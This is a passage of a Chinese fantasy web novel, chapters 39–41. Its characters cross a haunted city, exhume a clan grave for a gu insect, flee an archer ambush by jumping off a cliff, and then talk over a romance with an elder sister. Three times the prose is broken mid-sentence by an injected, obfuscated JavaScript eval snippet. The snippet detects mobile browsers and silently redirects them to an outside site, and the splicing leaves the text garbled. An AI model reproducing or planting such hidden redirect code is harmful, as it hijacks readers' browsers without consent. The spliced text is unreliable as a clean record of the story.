花千续适时接道:“他想为族人复仇,我答应陪他找到真凶。我二人一路来到西庸关,却被风城止住了脚步,翎徕与我说,城中有怨鬼作祟,活人进去,必被阴气反噬,唯有灭去三盏阳火,封住全身灵力,才能平安进去。我本想带他单枪匹马地闯进去,但是屡次城中迷失,差点没出来,后来才知,需得灵力充沛之人坐镇,才不至于被邪灵迷了道。” 说及此,他掩面叹息:“没想到我花千续潜心学道几十年,终究算不得灵力充沛之列……” 白栩正想安慰,谁知这家伙眼睛一转,看了过来:“不过功夫不负有心人,有你姐姐和段尚清在,应该能试一试。而且你的体内,灵力也甚是充沛。” “我?”白栩惊诧,“我身上哪有灵力?” 花千续亦是捉摸不透:“我能看见你身体里面多了个东西在护着你,但我的修为远低于它,看不清它的模样。” 段尚清凑近身来,在白栩耳边轻声道:“许是那只白虎山神。” “在理。”白栩深以为然,那白虎能一声吼死牛头马面,定是个威力极强的护身符,起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365492|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码不会叫自己随随便便就死掉。 至于如何进城,花千续计划先以封魂之术熄灭五人身上的阳火,由翎徕前头引路,因为封魂之后全身会僵硬无比,与僵尸无异,故而进城时,封魂的五人要在腰间绑上绳索、在手臂与腿上绑上竹竿,整整齐齐地串在一起,而后由翎徕牵着竹竿,领着他们一步一步地往前走。 “我有个疑惑,”白栩看向花千续,“翎徕怎么不用封魂?” 花千续看向翎徕,要他自己开口。 翎徕揉揉自己一头狮鬃卷毛:“我身体里有蛊虫,阴气重,不怕城里面的鬼。” 白栩了然,原是他忘了,这是络玥族人的传统,他们族内的男子身上都有蛊虫,不同种类的蛊虫会给予他们不同的非常人所能及的邪力,可惜是以削短阳寿为代价,邪力越强大,寿命越短。 他问道:“你身体里的蛊虫,是什么能力?” 翎徕道:“是族内最古老的一支,种蛊之人能神鬼不惧,上入长天,下闯鬼域,无所不能。” 白栩惊讶:“既有如此神威,那讨走的阳寿定然不少,这么说,你岂不是……活不长久? 翎徕却淡然道:“既然能种下蛊虫,就必然有拔除蛊虫之术法,白公子不必替我忧心。” 白栩冲他浅浅一笑,不再言语。 一时间,四周静了下来,白栩倒了杯茶端在手中,转头看向不远处黄沙掩盖的风城。 “我们什么时候出发?”良久的岑寂中,段尚清开了口。 “全凭几位定夺。”花千续伸手比划了下自己与翎徕,“我们只是作陪。” “明日辰时,如何?”段尚清环视众人,见无人反对,便这般定了下来。 万事筹备妥当,哪怕计划稍有些风险,事到如今,唯有一试。 次日一早,六人齐聚在大堂内用早膳,清粥咸菜与一壶浓茶,寡淡无比,白栩没什么胃口,惦记着一会儿进城的事,没吃几口就放下了筷子,陪着同样吃不下饭的姚靖一同去附近寻找长竹竿。 找竹竿这件事本来是姚靖和翎徕的活儿,白栩想着自己闲着也是闲着,索性帮着干了,才刚和姚靖踏出门,翎徕立马放下碗筷追了上来。 白栩看他还有粒饭黏在嘴角,不禁笑着问:“吃饱了么?” 翎徕点头:“一起去。” “这活儿用不着三个人,回去吃饭吧,你看你家道长没了你都茶饭不思了。”白栩说着扶着翎徕的肩膀把他转过身去。 屋内,花千续一手拿着筷子,一手拄着头,正眼巴巴地看向他们。 “快回去吧,我正好没事儿做,等下你要带着我们进城,做这么辛苦的活儿不吃饱饭可不行。”白栩摸了摸翎徕打着金色小卷儿的脑袋,把人劝了回去。 姚靖拉着白栩出了门,两人先去找外堂打扫的伙计问话,伙计带他们去柴房找了几根木棒,但这木棒显然是不够长的,两人各抱了一捆,又要来几根麻绳,把所有的短木棍缠在一起做成长杆,忙活小半个时辰才完工。 他俩先绑上杆子走了几步试试,除了有些僵硬之外,步伐还算顺畅,反正届时他们都没有意识了,只要翎徕能不被怨鬼侵扰,他们就能顺利进入风城。 辰时过后,一行人带着包袱和长杆,全身裹得密不透风地来到了风城城门。 城门前立着一块大石碑,约有三丈余高,八尺余阔,上书几行长文符画,细细瞧去,依稀辨出几段殄文。 殄文这东西,是专门写给死人看的,它本不应存于阳世间,如今却当当正正地立在了城门前。 白栩暗自思忖:这风城内的妖风如此肆虐,黄沙漫天、昏不见路,既是魂鬼之怨气造就了如此剧烈的风沙,若是能看清魂鬼真身,那该是怎样一幅鬼气滔天的阴森景象。 他不自觉打了个冷颤,脖颈有些发凉。 39. 鬼遮眼 城内昏黄一片,天昏地暗,妖风滚滚似鬼哭狼嚎,卷积着飞沙涌出城门,扑打来的沙石宛若尖刀利刃,直往人身上割。 幸好城门前的石碑足够高大挺拔,能容他六人藏身,不然恐怕一步未近,先得没半条命去。 花千续示意众人于碑后坐好,挺直腰背,闭上双眼,以便封魂。 白栩排在最前,一马当先。 花千续单膝跪立在他身前,一手覆在他印堂之上,一手极快地掐诀,口中低声诵咒,不多时,白栩只觉颈子一凉,而后五感尽封,连连谵妄间,失了意识。 混沌中无从计量时间,不知飘飘荡荡了多久,身上忽然泛起一阵阵针扎似的疼,耳中似乎也传来呼啸的风声,浓稠的黑暗逐渐散去,露出点细微的光来,白栩蓦地浑身一沉、倒吸口凉气,大汗淋漓地醒了过来。 睁眼,朝四周观望,原是安身在一处客栈。 其他人不知何处去了,只留了他孤零零一人,连个嘱咐也不留。 白栩的胆子比之老鼠也就大那么一丁点,平日里有段尚清和白珏两位尊神作左右护法,尚能狐假虎威地冲司天监作威作福,如今孤身一人,叫天不应、叫地不灵,就算是来个纸人,他都招架不住,万一被鬼捉了去,连皮肉带骨头一并吃干抹净了,可真就倒了血霉了。 正惆怅地抱腹诽那几个没良心的把自己丢在这里不管不顾之时,忽地有什么东西碰了碰他的肩,触感之熟悉,叫他几乎脱口唤出“尚清”二字,可回身望去,却是空荡荡一屋子,连个鬼影也没有。 他惊惧地站起身,急急往外撤,不敢再留在这闹鬼的屋子。 客栈的大门紧关着,一点天光从门缝溜进。 风声似乎停了。 白栩推开客栈大门,才迈出脚,立马被一阵风吹雨打止住了步子,他抹去雨水,却擦出了一脸血,以为是自己的鼻血,吓了一跳,想借衣袖将血擦去,却见自己浑身尽被血水打湿,浓烈的腥臭灌入鼻腔,逼得他连连作呕。 “哪来的血?我又不疼!” 他不可置信地抬头望天,顿时整个人僵直在原地。 只见天昏地暗间,一片血雨磅礴,无数奇长的锁链悬挂于空,阴风卷积而过,一阵铮铮作响。 链条上,数不清的恶鬼凶魂被紧紧绞缚,它们不断地挣扎、扭动,使得链上的铁钩一刻不停地剐剥皮肉,浓血喷溅、碎肉淋漓,残皮断骨噼里啪啦地从天上往下掉,凄惨的嘶嚎声拧成一股,直往人脑袋里钻。 白栩何尝见过这般血腥场面,当即胃液倒流,扶着门框哇哇一顿吐。 吐归吐,好在脑袋还能转,他想起花千续说过,风城的妖风乃是怨鬼所化,如今一看,其言不虚。 眼前这般血雨腥风,比之黄泉地府,无有不及。 白栩后撤步往屋里退,管他闹鬼不闹鬼,比起外面的森罗地狱,屋里的鬼都变得和蔼了。 不知是不是那鬼也舍不得他,才刚动了归念,手腕上忽地传来扎实握感,一股不知从何而来的力道将他狠狠扯回屋内。 他早就被吓得腿软,此时尚能站着,全赖他意志坚强,如今被这般扯动,哪里还能撑住身子? 本是做好了摔一屁股的打算,谁知腋下不知又被什么东西顶住,不仅将他稳稳扶住,还带着他撤回屋内,甚至不忘把门关上。 后背传来硬实的触感,还有些温热。 奇怪,鬼不都是冰凉的么? 没听说谁家的鬼是热乎的啊? 白栩试探着抽回手腕,却被更加不容置喙地攥牢,那鬼带着他坐在地上,自身后将他牢牢圈住。 他看着空无一人的客栈,似乎是咂摸出味来,轻声询问:“有人么?” 屋内依旧静寂一片,除了屋外鬼哭狼嚎,没有任何动静。 他不死心,手脚并用地挣扎一番,却被身后的鬼抱得更牢,连腰都被紧紧环住——这哪里是一个鬼应当做的? 色鬼!男色也图! 白栩想起爹告诉他,遇到鬼,要调动十足的火气将它劈头盖脸地骂上一顿,如此一般的小鬼便不敢缠着了。 他决心试试看,边挣扎边打骂道:“你个不知好歹的孤魂野鬼,快快放了你白爷爷!吃了熊心豹子胆了,敢对我动手动脚!我告诉你,我姐姐是独行天下的女侠,我朋友是无所不能道士,你胆敢动我一根毫毛,必定要你好看!还不快放开我!” 谁知身后那鬼竟不为所动,反而缠得更紧! 坏了,是个硬茬…… 白栩咬咬牙,心道:硬的不行,便来软的! 他停了又打又踹的手脚,端坐下来,挤出个不甚好看的笑,轻声细语地商量:“我不打你,也不骂你,我们好说好商量,你别吓唬我,我也不打扰你,外边这般凶险,你我一人一鬼皆在此处避难,何不井河不犯,各自安好?若你同意,便放开我,飘到一边去。” 他劝完,颤抖着等了一会儿,谁料身后那鬼软硬不吃,走也不走,打还让打,就是注定要缠着。 白栩一下子不知如何是好,正犯愁,手掌忽地被掰开,酥酥麻麻的痒意从掌心传来,白栩好奇,仔细感受,谁知这鬼竟端端正正写了一个“段”字。 白栩的脑袋一下子短了路,只剩下了一个疑问:“你居然还认字?” 问完了才意识到自己真是吓成痴呆了,拍拍额头,试图唤醒灵智:“你是人是鬼?” 掌心紧接着写上第二个字:人。 白栩一愣,试探着问:“尚清?” ——是、我 ——你、看、不、见 白栩搓搓眼睛,有些委屈:“我能看见这屋子,唯独看不见你们。” ——别、怕 ——有、办、法 知道大家都在,白栩放下心来,整个人瞬间卸了力,仰倒在段尚清怀里,絮絮叨叨地控诉起来:“你是不知道,可吓死我了!屋外漫天都是鬼,雨也是血雨,风里全是腥臭,碎肉断骨铺了一地,血肉混在一起成了浆,直往我裤腿里沁,当真恶心死人,也骇死人了!” 段尚清握着他手的力道重了几分,指腹在他的手背上刮了两下,似乎是在安慰,随后在他手心写道——我们看的不一样。 “不一样?在你们眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365493|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,屋外还是黄沙风?” ——是 “那便好、那便好,若叫我姐看到这般场景,估计要吓哭了吧,哼哼……哎呦!谁打我!” ——你、姐 “白步月!你趁人之危,你不是君子是小人!”白栩捂着脑袋,气呼呼地抱怨,本以为还要被打,却是毫无知觉,只是被段尚清抱着往旁边挪了挪。 空荡荡的客栈没有一点人声,可在他看不见的现实世界里,却是叽叽喳喳十分喧闹。 刚给完白栩一个爆栗的白珏此时万分焦急,自己弟弟不明不白地成了“瞎子”,还见到那般血腥场面,万一承受不住,吓成了痴傻,可如何是好! 她围着白栩不停地转圈踱步,不时在他眼前晃两下,或在他耳边吼一句,可惜白栩始终无动于衷。 她愁闷万分,见花千续仍在写符,不禁催道:“花道长,还需多久才能好?” “快了……” 花千续已用这二字应付白珏不下三次,不怪人家催,是他自己忘了这偏门的符该怎么画,试了许多都不见成效,废符纸扔了一地。 “既是被鬼遮了眼,便是说明那些东西看上了他的魂,绝不会轻易放过,我许久不曾见过这般邪术,一时忘了如何画符,白姑娘请再等候片刻。” 白栩不知旁人是如何焦急万分,他只觉同段尚清用掌心传话真有意思,有些不方便说出来的,就在他手上写,虽然看不见段尚清的脸,凭借相处的记忆,也能想象出这家伙此时的神态。 段尚清说花道长在尽力画符相救,白栩相信花千续的本事,一点也不操心,舒舒服服地靠在段尚清怀里,在他手上写下——今晚我们一直抱着睡? 段尚清脸一红,忙低下头,在白栩手心写——好。 屋外风声呼啸,不见天光,屋内,白栩靠在段尚清的肩上沉沉睡去,白珏与姚靖静坐在白栩身旁闭目养神,翎徕抱臂靠在墙上闭着眼,不时被花千续叫起来磨朱砂石。 花千续绞尽脑汁思索那张驱邪符怎么画,不是这少了一笔就是那缺了一画,一张黄符写的满满当当,完事一张就往白栩身上贴一张,再念诵一段咒语,也不管哪个能生效,反正总有一张是对的,暂且把所有的符全贴上,不走质,便走量。 约莫过了三个时辰,不知时辰几何,众人却是睡饱了,预备再出行。 他们滞留的这处,名曰“停尸客栈”,曾经是赶尸匠用来暂存尸体的地方,阴气重,屋外的鬼发现不了他们,只要别出去,就能相安无事。 距离出城还有些距离,尽早走出,省得夜长梦多。 耳边传来窸窸窣窣的响动,白栩被吵醒,方睁开眼,先是被一张黄符蒙了视线,而后花千续的嘀咕声传来:“这么多符,得有一个管用了吧?我总不能画一张错一张?” 白栩转动眼珠,心生一计,趁着花千续靠近,忽地大声道:“多谢花道长相助!” 花千续一个趔趄摔在地上,笑骂他个小混蛋。 白珏过来拍拍他的脑袋,招呼众人:“既然小栩无事,我们便赶紧启程,花道长,还请再给我们封魂。” 40. 敖北山外 过城之艰,不多赘述,好在否极泰来,他们终于走出了妖风城,到了当朝与西域的划界山脉——敖北山。 眺眼望去,一望无际的绵绵山岭,不见尽头。 据说当年络玥族分为两支,以敖北山为界,一支从商,居于山内风城,一支游牧,固守山外旧地。 当年劫匪进城,只将从商的一支杀光,而游牧的那支在听到屠杀的风声后,随着其他聚居的草原牧民一并迁徙到了更远的西方,经年过去,已经无人知道行踪。 白栩深吸一口气,感受着高山草原独有的清凉与透彻。 尽管在踏入风城之前,他已然预想此地应是荒凉破败之景,没想实地比起想象更加触目惊心。 放眼望去,大片大片的土地寸草不生,万里荒地杳无人烟,生灵涂炭。 当年那场连日的大火焚毁了一切,被鲜血浸透的土地再难生出一草一木,干涸的沙土半掩着风化的头骨,空洞的眼眶凝视着远方的客人。 偶有几只漆黑渡鸦嘶哑叫着在空中盘旋,它们仿佛能嗅到这片土地上残存的死亡与不详的气息。 “这里是我的家……终于回来了。”一路上缄默不言的翎徕终于开了口,他发出一声低沉而微小的呢喃,晃晃悠悠地向前走去。 花千续见他这样,蹙起眉,默默跟在身后。 残阳如血,赤色云霞笼天罩地,仿佛天际降下的一片血衣。 翎徕神情恍惚地走了几步,忽地浑身一颤,似是清醒过来,抬手拂去额头冒出的冷汗。 回过头,见花千续正站在自己身后,肩头被一只苍白细瘦的手牢牢攥住。 花千续在他颈后写下一道符咒,提醒道:“被怨气魇住了,这里阴盛阳衰,你身体里的蛊虫会侵蚀你的心智,切记保持灵台清净。” 翎徕点头应下,同花千续并肩朝远处的荒坟堆走去。 白栩忙追上他们:“你们要去哪儿?” “去找他一直要找的东西。”花千续回过头来,眸中闪过精光,“一个很吓人的东西。” 白栩看向翎徕面朝的方向,那是一片杂乱的坟地,鼓起不少低矮的坟包,既无墓碑,也没陵石,显然是个乱坟堆,便问:“你们要去……挖坟?” 花千续点头:“那里是络玥族的祖坟地,他要去挖蛊虫。” 白栩恍然大悟:“原来络玥族会将蛊虫作为陪葬。” “不是。”翎徕摇摇头,蓦然开口,“我族的蛊虫养在人的胃里。” 白栩面露难色,颤颤嗫嚅几声,不自觉地抬手摸摸自己的肚子,庆幸自己并未生在这般古怪的族群里,不然肚子里还得养一只虫子。 翎徕并不在意白栩脸上显然的恐惧,自己司空见惯之事,也许在别人看来本就骇人听闻,他丝毫不怪白栩少见多怪,耐心解释道:“不是所有的蛊虫都养在胃里,有的养在血里,有的养在舌下,养在胃里的蛊是最阴毒的一种,只有族长的儿子才能种。” 白栩连连称奇,不禁发问:“那你的蛊虫在哪里?” 翎徕点点自己的脑袋:“在我的头皮下,养在头骨上面。” 您是说有一只剧毒的虫子在您的头盖骨上爬着是么? 白栩才摸完肚子的手又后怕地搓起脑袋来。 有时候太过感同身受,真是一种折磨。 段尚清从他身后伸过手来,将他揉乱的头发理顺,笑他:“好奇心害死猫。” 白栩瘪嘴,再不发一言。 不多时,他们来到了花千续所指的那座荒坟前。 这坟放在整片乱葬岗中并不起眼,白栩不知道翎徕是怎么确认这一座的里面有蛊虫的,或许是他爹娘传授了辨认的法子。 翎徕放下身后一直背着的竹篓,从中拿出一把短柄铁锹,开始刨土。 白栩本想帮忙,奈何手里没有能挖坟的物什,上前也是捣乱,便蹲在一旁看。 翎徕对挖坟掘土这档事极其娴熟,不消片刻就挖到了棺顶,等他把棺材整个挖出来,大家便一起下了土坑,协力掀开厚重的棺盖。 一阵酸臭腐气喷涌而出,白栩毫无防备地被喷了满脸,那臭味侵略性极强,呛得他直犯恶心。 “呕……唔——”眼看一口酸水要不合时宜地吐出来,白栩连忙捂住嘴。 怎么着也不能吐人家坟上吧,死者为大,这是最基本的礼节。 他手脚并用地往上爬,想去上面找个避人的地方吐个干净,不料坑内土质干松,再加上白栩毫无攀登技巧,根本借不上力,几次努力全都一滑到底。 “尚清……”他艰难求助,段尚清撑着他爬出土坑,白栩狼狈地跑到远处,捂着肚子哇哇直吐,直把胃里的酸水吐了个干净,才算舒服些。 再回来,可不敢下去了,老老实实地蹲在土坑边往下看。 棺内平躺着一具干尸,全身青皮包白骨,唯有胃部鼓起一个小包,好像有什么东西在里面蠕动。 翎徕在鼓包轻按几上,确认蛊虫没死,便从腰间拔出一柄弯刀,沿着凸起之处细细切开。 皮肉已经干瘪了,切上去干硬阻塞,翎徕嫌慢,干脆上手用力扒开外皮,将尸体肚里干瘪的胃掏了出来。 白栩看得头皮一阵阵发麻,莫名其妙地同那具尸体有了共通的痛感,总感觉翎徕的刀子在自己身上划,那手在自己肚子里掏。 他使劲搓掉胳膊上的鸡皮疙瘩,问道:“蛊虫养在胃里,和人吃一样的东西么?” 翎徕答道:“他不能吃五谷,只吃婴儿羹。” “婴儿羹?这是什么东西?” 翎徕看向白栩,似乎很疑惑他为什么要问这么简单的问题:“这个名字很拗口么?当然是用婴儿做的羹食叫婴儿羹。” 白栩再次被震惊,络玥族民风这么彪悍么? 他怯生生地追问:“你说的婴儿……是娘胎里的孩子,还是动物的幼崽?” 翎徕没说话,只给白栩一个孤高的眼神自行体会。 那看来是人的孩子了…… 人吃人…… 白栩五官扭曲,又跑远吐了一通,再回来,面色明显苍白了许多。 花千续调侃一笑:“胆子这么小?” 白栩瘪起嘴,无力反驳,磨磨干涩的嘴唇,挪步子向后撤了几步,不敢再看。 翎徕的竹篓子里还有一只小瓦罐,他取出来,割开手心在里面挤了几滴血,而后剖开尸体的胃,翻找几许,用刀尖挑出一只尚在蠕动的蛊虫,眼疾手快地扔到瓦罐,扣上木盖,包上红布,连虫带罐重新放进篓子。 段尚清帮着扣好棺材板,回填时不禁发问:“小兄弟此行只为这蛊虫?” 他以为翎徕是为了复仇。 翎徕仍是没说话,只回头看向段尚清,清澈如宝石的眸子里没有任何情绪起伏。 花千续知他不善言辞,便替他答道:“他爹娘只叫他取到这只蛊虫,还没来得及告诉他该如何处置,就魂归天地了。不过这蛊虫若被有心之人带走,不知要作何歹事,留在他手里倒是好事。” “那我们就一直往西走吧,找到络玥族的另一支。” 白栩从土坑边缘探出脑袋,伸长臂将众人一个个拉上来:“反正我们也是逃命,躲到西域去,司天监总不能找到我们了吧?” 不知是嘴巴开了光,还是霉运特别旺,平常从不见的一语成谶、言出法随,今日破天荒地显了像。 一阵疾风撕裂之声猝然响起,一支不知从何而来的利箭朝着毫不设防的白栩射来,段尚清想伸手拉开他,却为时已晚。 白栩迷茫地抬头看向众人脸上一瞬的惊恐,正想握住段尚清伸来的手,肩头猛然一痛,一柄长箭径直贯穿他的右肩,将他整个人往前掼了几步,摔进段尚清怀里。 白栩捂住伤口,没觉得多疼,血却是哗啦啦地流,看起来有些吓人。 在地下黄泉历经过生死,被牛头马面打出来的伤比这严重得多,如今结结实实挨这一箭,竟造不成多大疼痛。 段尚清却是替他疼了一般,蹙着眉,给他细细包扎,琥珀眼里闪着心疼的泪花。 白栩想笑,一笑就龇牙咧嘴,只惹得段尚清更加心疼,他只好悉声安慰:“不疼。” 段尚清抬眼看他,嘴微微瘪起,瘦削的脸颊难得堆起软肉,白栩稀罕地用指头逗逗,全然不顾自己此时调戏人家有多不合时宜。 正你侬我侬,姚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365494|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靖忽地大喊:“当心!” 白栩吓了一跳,抬头看去,天上不知何时又飞来了许多流矢,目的明确,就朝白栩射来。 只一箭还不足致命,对面显然也知晓这个道理,第一支箭只是见面礼,紧接着袭来的箭雨才是杀手锏。 花千续当即抽出腰间别着的拂尘,朝天一挥,柔软的麈尾毛化作一道锋锐剑光,将一众飞矢削成两半。 段尚清警觉地搂着白栩往坟包后面撤,说时迟那时快,他们才撤开一步,一支箭不偏不倚地射中了白栩刚踩下的脚印。 摆明了是追着杀,白栩气得咬牙,如此恶劣的行径,只有司天监那一帮狗官才干得出来! “居然敢和栖云观的道士斗法,好,让你开开眼界!”花千续咬牙切齿地怒吼一声,将手中拂尘朝天一扬,只听“铛”的一声,飞来的箭矢好似撞在一栋无形的铜墙铁壁之上,顿时崩裂四段,坠落在地。 花千续冷笑一声,纵目远眺,山道崎岖,却遮不住风城门口乌泱泱集结的一众黑衣玄马。 领头人骑在高头大马上,一身红衣张扬无比,十分扎眼,他手持长弓,弯弓搭箭,电光石火间又射来一箭。 花千续眸露凶光,振臂一呼,忽地平地起风,狂骤不止,那飞在半空的箭,竟生生转了方向,反朝红衣人射去。 红衣人猝不及防,躲闪不及,被一箭射穿了肩膀。 白栩偷偷探出脑袋往远处打探,一见竟是虞子煊,气得破口大骂:“那王八蛋怎么追到这儿来了?他怎么过的风城?” “怕是那行人中亦有高人,我们得赶紧走。”段尚清说着,拉起白栩便往后撤,白珏与姚靖立马跟上,花千续同翎徕断后。 他们才决定西行,便被司天监追上,明明一路行径隐蔽,居然这么快就被逼近……到底是谁在泄密? 白栩不由得胡思乱想,他怀疑地向后看去——莫非是花千续? 他知道这怀疑十分不妥,可除此外还有别的能可能泄露行踪么?他们身上就像长了司天监的眼睛一样,走到哪里都是暴露。 在他的视线里,花千续矗立在原地,为他们抵挡漫天箭雨,若是细作,当真能做到如此?而且他先前还叫莫家人威胁朝廷制裁司天监,这么嫉恶如仇之人,白栩实在不愿怀疑。 正犯愁着,忽听花千续大吼一声:“快跑!” 方才还坚如磐石万分可靠的印象,顷刻间碎成齑粉,花千续拽着翎徕朝他们所在飞奔过来,翎徕怕竹篓里的蛊虫被颠坏了,腾出一只手护着。 二人身后,漫天流矢飞射而来,如群鸦过境,铺天盖地。 白栩再也顾不得乱猜了,迈开步子飞速逃命。 花千续慌乱中不忘回击,箭雨之下,他扭身掐诀念咒,周遭空气瞬间扭曲,形成一堵坚实的气墙,直把箭雨挡在外边。 “铛铛铛——” 数不清的箭矢碎裂,可一批箭被挡住,很快又飞来一阵箭雨,根本防不住。 花千续追上白栩,白栩冲他喊问:“你不是栖云观的道士么?怎么还不斗法啊?” 花千续粗喘着气,扯着嗓子回他:“对面人多势众,我打不过!” 这朗朗的战败宣言,一点不含羞愧。 “那怎么办?就只逃么?” “少说话多跑路!你爷爷教过我,打不过就跑,输了不丢人,你也学着点!” 白栩无语凝噎。 箭雨一阵一阵攻来,气墙很快就支撑不住,长出令人生怖的裂纹。 敖北山并非平坦丘陵,而是陡峭的山地,一路怪石林立,坡高路险,白栩想破脑袋都没料到等待他们的竟是一道天堑。 他眼睁睁地看着翎徕朝那悬崖纵深一跃没了身影,紧接着花千续也跳了下去。 他惊惧万分,这是干什么?打不过就跳崖自尽? 眼看崖壁越来越近,他急刹住步子,正好停在最边缘。 心脏差点跳出嗓子眼,他抖着腿蹲下来保持平衡,谁知道身后忽地伸出一条手臂,揽着他的腰就把他往崖下带。 “段尚清!这下面是悬崖啊!” 白栩绝望的惨叫回荡在壁立千仞的山谷,经久不绝。 41. 劈山为堑 白栩手脚并用,牢牢地攀在段尚清身上,胸腔里的心跳步步紧逼。 因着倒悬下坠,浑身血液涌到头顶,白栩眼前一阵阵发黑,感官被恐惧淹没,只剩下被汹涌的水声灌满了的耳腔还在孜孜不倦地警醒他,他们在跳崖。 逼人的寒气直剐人皮,段尚清紧紧揽住白栩,见他整个人抖若筛糠,悄悄低头在他耳廓呢喃:“锦爻,抬头看我。” 白栩浑身发抖,眼眶殷红,声音哽咽:“我不是不相信你,我是太害怕了。” 段尚清知他心意,用指腹摩挲那微微颤动的眼皮,解释道:“等我们下坠到江面上再御剑,借着水雾遮挡,虞子煊看不到我们,不然一下腾飞到空中,会成活靶子。” “嗯。”白栩将头埋在段尚清的脖颈里,心脏稍稍安定。 段尚清一定会护好自己,他始终坚信不疑。 眼见波涛汹涌的江面近在咫尺,段尚清低声诵咒,“噌”地一声,腰间佩剑凌空出鞘,银白的剑身在云雾间划出惊鸿之影,仿若一道白日霹雳。 段尚清抱紧白栩,踩着云雾借力,轻巧地翻转一圈,稳稳站在剑身上。 “好了,我们站在剑上,不怕了。”段尚清捧起白栩略带苍白的脸,冲他宽慰一笑,悄悄向四周望去,趁着云雾弥漫,一片朦胧乳白,他低头一吻落在白栩的唇上,感受到白栩唇上传来的颤抖和冰凉,知他仍是后怕,便用了些力,让两人贴得紧了些。 白栩仰着头,随着段尚清安抚的力道和后颈的抚摸,终于安下心来。 雨雾将他的碎发沁湿,两人咫尺相望,呼吸的热浪扑打在脸庞,心跳渐渐交融。 花千续那不合时宜的身影不知何时从雾气中显现,他先是咳了一声表示自己的存在,见两少年迅速分开,面色羞赧地低着头像做了错事,忍不住大笑几声,凑过来调侃:“你们俩的事,告诉家里人了么?” 白栩摇摇头,他至今都没想好怎么说。 段尚清却一片澄心,认真道:“等一切尘埃落定,我会告诉爹娘,也会竭尽全力征求白伯伯和莫夫人的同意。”他握紧白栩的手,信誓旦旦,“我说到做到。” 少年说得真诚感人,对花千续这只老狐狸却不受用,他擎着一脸坏笑,苍白的指头向两人身后的雾气一指:“你俩想太远了,眼下是不是应该先争取到白大姑娘的同意呢?” 白栩浑身一僵,紧接着就听见另一声咳声响起,这一声明显更具威严,更骇人听闻。 “别以为我一路上什么都看不出来。”白珏踩着剑从白雾中划出,姚靖跟在她身后,双手合十为他俩祈祷。 “姐……”白栩实在心虚,“你都知道了,能不能别骂我们?” 白珏冷眼一剐,哼笑一声:“好一个先斩后奏,先行后闻,菜都吃一半了,才告诉我要开饭了,生米煮成熟饭了,才想起来告诉我你们私定终身了?是不是太不拿我当回事了?” “什么煮成熟饭,白步月你真粗鲁……”白栩没底气地顶嘴。 白珏长臂一伸,一把拧住白栩的耳朵:“你有理没理?” 段尚清既心疼白栩的耳朵,也不敢触怒白珏,两相环顾,憋出了一脸的自责,他轻轻地将白珏的手从白栩耳朵上扯下来,将白栩护在身后,恭恭敬敬地作了一揖:“都是尚清自作多情,死缠烂打,才让阿栩同意,步月女侠尽可冲着尚清算账,尚清绝无异议。” 白珏冷言道:“你现在倒是敢做敢担当,怎么一开始不敢挑明?” “尚清与阿栩定下心意之时,白伯伯与莫夫人已去了临安,步月女侠也为了巡查纸人术离了江州,故而错失良机,没能早些告知。”段尚清恭恭敬敬,却不卑不亢,说清缘由。 白珏又逼问:“那我与你们在玉县相聚,为何还不说?” 段尚清正要开口,白栩赶紧把他扒拉到一边,他已经备好一张楚楚可怜的脸,假装重心不稳,摔在白珏身上,趁白珏下意识地抱住他,一下张开双臂,紧紧抱住正烧着怒火的姐姐,耍无赖似的撒娇:“我们哪敢说呀……你一直都凶巴巴的,我怕你不同意,不让我们在一起了,你武功那么厉害,我俩加一起都打不过你,要是你把我们吊起来打怎么办呀……” 他说得可怜巴巴,甚至挤出了两滴眼泪来:“姐姐……是我对不起你,你不要因为这件事生气好不好,我们俩是真心的。” 白珏毫不留情地一巴掌拍在白栩屁股上,白栩“嗷”地一声弹跳起来,差点真的栽到水里去,还是段尚清眼疾手快把他捞上来,紧紧抱在怀里。 白栩冲着段尚清耳语:“我姐吃软不吃硬。” 段尚清一下就明白,立马跟着白栩一起摆出可怜的神情来,学着白栩的语气哀求:“步月女侠……” 他时常冲白栩撒娇,能把白栩降住的本事,白珏自然抵挡不过。 两双眼巴巴的狗狗眼直望过来,白珏心软了大半,她本就无意棒打鸳鸯——按理说应是棒打鸳鸳——这俩人再一求,气都快消了。 她清楚段家的为人,忠心无二,一条路走到黑,段尚清若是真心对小栩,她倒也放心。 叹了口气,一回头,才见身后还有一只楚楚可怜的小狗摇着尾巴一起求。 “你们三个……算了。”白珏一手一个脑袋使劲呼噜毛儿,“你们真是把我看得太坏了!” “对不住嘛,姐姐,你最好了,你是天底下最好的姐姐。”白栩垂着脑袋,一个劲儿地说好话,笑得比谁都甜。 段尚清也被顺手揉了脑袋,他第一次与白珏如此亲近,心中荡起家人的温暖,不禁红了脸:“多谢步月女侠成全。” 